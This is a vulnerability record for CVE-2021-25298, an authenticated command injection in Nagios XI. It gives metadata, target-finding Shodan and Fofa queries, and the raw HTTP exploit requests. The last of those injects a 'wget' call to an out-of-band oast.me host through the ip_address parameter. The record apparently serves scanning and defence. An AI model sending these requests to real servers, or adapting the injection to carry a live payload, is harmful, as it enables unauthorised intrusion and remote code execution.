| Title | Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection |
|---|---|
| Author | k0pak4 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.8035 |
| CVE ID | CVE-2021-25298 |
| CWE ID | CWE-78 |
| Shodan Query | title:"Nagios XI"http.title:"nagios xi" |
| Fofa Query | title="nagios xi"app="nagios-xi" |
| Tags | cve2021 cve packetstorm oast authenticated msf nagiosxi rce kev nagios vkev vuln |
Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
GET /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
nsp=wkBVXG&pageopt=login&username=2ZcMmM&password=XQiv72
GET /nagiosxi/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1
Connection: close
Accept-Encoding: gzip
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=iCNRot&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20d5jniqple0o3ca30dip0nyg1nky1ha1ws.oast.me%3b HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25298.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25298.pcap
N/AN/A